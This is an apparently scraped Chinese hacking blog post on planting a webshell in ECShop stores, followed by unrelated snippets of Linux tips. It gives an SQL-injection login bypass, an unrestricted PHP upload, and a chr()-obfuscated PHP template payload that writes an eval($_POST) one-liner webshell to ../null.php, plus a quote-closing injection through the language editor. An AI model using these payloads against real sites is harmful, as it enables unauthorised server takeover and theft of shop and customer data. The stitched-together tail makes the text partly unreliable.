linux系统ecshop拿shell方法

Title:linux系统ecshop拿shell方法  --2011-06-08 13:23

最近弄一个站,对ECSHOP拿shell不了解,导致走了很多的弯路。

nginx/0.8.54的服务器,magic_quotes_gpc开启转义,很多的页面被删除了。

后台有or漏洞,用户"‘ or 1=1 #"密码随便填.

开始我也不知道,了解得少。

网站的myship.php访问无果,但是库项目管理模版可以编辑,找不到文件路径未果,因为用的是nginx/0.8.54,解析漏洞被修补。

很多拿shell的方法不能用,比如备份x.php.spl,FCK创建X.asp类文件夹。

开始在后台转了很久,一直没有点Flash 播放器管理 上次PHP试试,后面没有想到可以上传PHP的文件,没有限制。

后面再上网找了下其他的方法。

后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
以下是编辑的代码:

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

<?
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
[email protected]($filen,$a);
[email protected]($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

../null.php

<?php eval($_post[usb]);?>

这个是路径和密码。

我还有个想法就是‘单引号没有被转义的时候,管理中心- 语言项编辑 编辑其中的PHP页面,闭合单引号.

shopping_flow.php 编辑

输入语言项关键字:  活动列表

活动列表‘;?><?php @eval($_POST[ok]);?><?‘ok

保存

然后访问

http://site/languages/zh_cn/shopping_flow.php

因为试的时候‘被转义不能闭合活动列表后面的单引号,所以没成功。

谁有其他方法,可以一起讨论下。

时间: 2024-12-15 04:32:52

linux系统ecshop拿shell方法的相关文章

Linux系统下安装phpmyadmin方法

phpmyadmin下载地址:不要分,赶紧去下载吧!http://download.csdn.net/detail/u011986449/7429799 1.找到 /libraries/config.default.php文件(config.default.php复制到phpmyadmin目录下,然后更名为config.inc.php),该文件有如下项目(2-8)须自行配置,windows用写字板(不要用记事本,这是UTF8编码)进行编辑,在linux下直接用vim编辑. 2.查找 $cfg['

Linux系统获取命令帮助方法及简单命令介绍

Linux系统中的命令一般分两种:内部命令和外部命令 1.内部命令:内部命令又称为内置命令,在系统启动时就调入内存,是常驻内存的,所以执行效率较高. 2.外部命令:外部命令是系统的软件功能,用户需要时才从硬盘中读入内存. 区分内部命令和外部命令的方法:type命令         ~]# type      COMMAND            查找结果中显示为"内嵌"或者"buildin"字样的,则为内部命令:其余的结果都为外部命令: 内部命令的帮助获取方法:he

Linux系统Bash(Shell)基础知识(4)

今天给大家总结一下关于bash的颜色,配置文件,变量,数组和相关shell脚本编程的基本概念: 一.bash的颜色显示规则 吧是的颜色显示,说白了就是Ascll码对于颜色的调用设置,而在于颜色代码当中,字符串个功能实现如下: \033:表示ctrl键: [:控制字符和颜色代码之间的间隔字符: 0m:关闭颜色属性: 1m:加粗显示文本字符: 4m:为文本字符加下划线标识: 5m:使文本字符闪烁: 7m:将背景色和前景色调换,白变黑,黑变白: 8m:隐藏字符,将文本字符的背景色和前景色设置为相同颜色

Linux系统Bash(Shell)基础知识(3)

在shell脚本编程中算术运算无疑是十分重要的: bash中执行整数算数运算的命令是let,其语法格式为: let arg... arg为单独的算术表达式如+,-,*,/,%,^等所构成的完整的算术表达式: 其中^为平方运算,如2^3表示2的三次方: let命令可以使用如下方式替代: ((算术表达式)) 例如 [[email protected] wjq]# let "a=2*3" [[email protected] wjq]# echo $a 6 [[email protected

Linux系统Bash(Shell)基础知识(1)

上篇博文为大家介绍了关于shell程序设计的的一些特性,即命令别名,命令历史,快捷键,命令补全,命令行展开,命令执行结果,转义字符,通配符,IO重定向,管道等操作:这次继续给大家介绍关于shell程序设计的另一大特性--变量: shell程序中采用变量存放字符串,shell变量比C语言中的变量简单得多,没有众多存储类及类型的限制,也不需要预先定义,然后才能赋值,可以在使用时"边定义,边赋值". shell有三类变量,环境变量,临时变量以及本地变量,环境变量是永久形变量,不会随着shel

Linux 系统磁盘满处理方法

1.使用find命令,找出占用空间较大的文件 find / -type f -size +5G   —找到大于5G的文件,有work权限的情况下可以使用 find . -type f -size +10000k   --linux 下查找大于10M的文件 find -type f -size +500k -and -size -1000k  --查找大小为500KB到1000KB之间的文件:   2.使用du命令 du -h --max-depth=1 /home/work/elongorder

Linux系统find命令使用方法

Find命令格式: find [-H] [-L] [-P] [-D debugopts] [-O level] [path...] [expression] find命令选项: -name:使用文件名查找,支持使用通配符 -iname:使用文件名查找,不区分大小写. -perm:使用文件权限查找 /+权限:匹配任何一类(u,g,o)的权限,符合"权限"内容就输出. -+权限:u.g.o中只要有一个为"权限"内容,u.g.o都要匹配为"权限"的内容

linux系统巡检脚本shell实例

#!/bin/sh BACKUP_TIMESTAMP=`date +%Y%m%d` HOSTNAME=`hostname` num=89 ###################核查文件系统opt################ MemUseOpt=`/bin/df -kP | grep /opt | awk -F ' ' '{print $5}' | awk -F '%' ' {print $1}' ` if [ $MemUseOpt -gt $num ] then echo ${BACKUP_

linux系统硬件配置查看方法

一:查看cpu more /proc/cpuinfo | grep "model name" grep "model name" /proc/cpuinfo 如果觉得需要看的更加舒服 grep "model name" /proc/cpuinfo | cut -f2 -d: 二:查看内存 grep MemTotal /proc/meminfo grep MemTotal /proc/meminfo | cut -f2 -d: free -m |g